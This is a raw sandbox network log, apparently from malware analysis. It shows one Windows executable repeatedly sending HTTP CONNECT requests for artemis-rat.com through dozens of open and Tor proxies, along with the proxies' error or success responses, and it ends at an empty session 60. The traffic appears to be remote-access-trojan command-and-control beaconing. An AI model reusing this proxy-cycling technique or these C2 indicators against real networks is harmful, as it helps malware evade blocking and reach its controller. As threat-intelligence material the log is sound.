Mar 11, 2024 03:30:37.563747883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49798	113.143.37.82	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.565491915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.900496006 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49911	45.12.31.3	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.568027973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.722847939 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49923	162.159.242.7	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.577557087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.738769054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49946	104.21.85.109	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.580738068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.734850883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49863	134.209.29.120	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.580898046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.740596056 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49837	103.23.101.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.593560934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49931	162.214.121.173	64579	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.604768038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49934	5.78.65.91	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.613709927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.811405897 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49893	51.15.230.100	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.642817020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.279825926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.883793116 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49962	38.7.18.102	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.643650055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.860241890 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49868	103.107.84.124	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.658664942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.022778988 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49970	51.222.241.157	22538	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.662381887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.186081886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.842346907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.139267921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.905107021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.499165058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093183041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50084	42.116.10.196	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.663938046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50087	42.116.10.196	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.664611101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50090	42.116.10.196	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.666461945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50095	42.116.10.196	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.667911053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49889	20.24.43.214	8123	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.670852900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.012877941 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49983	38.162.4.242	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.673753023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.088875055 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49930	98.162.25.23	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.678803921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49933	161.132.125.244	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.703052044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.311095953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.139219999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.779866934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092811108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.405335903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.701973915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.405328989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49892	103.76.172.230	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.706267118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49905	203.19.38.114	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.715009928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.044532061 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49888	41.223.232.117	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.729206085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.698551893 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:48.515249014 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49997	172.67.182.118	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.736386061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.890456915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49932	43.133.71.20	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
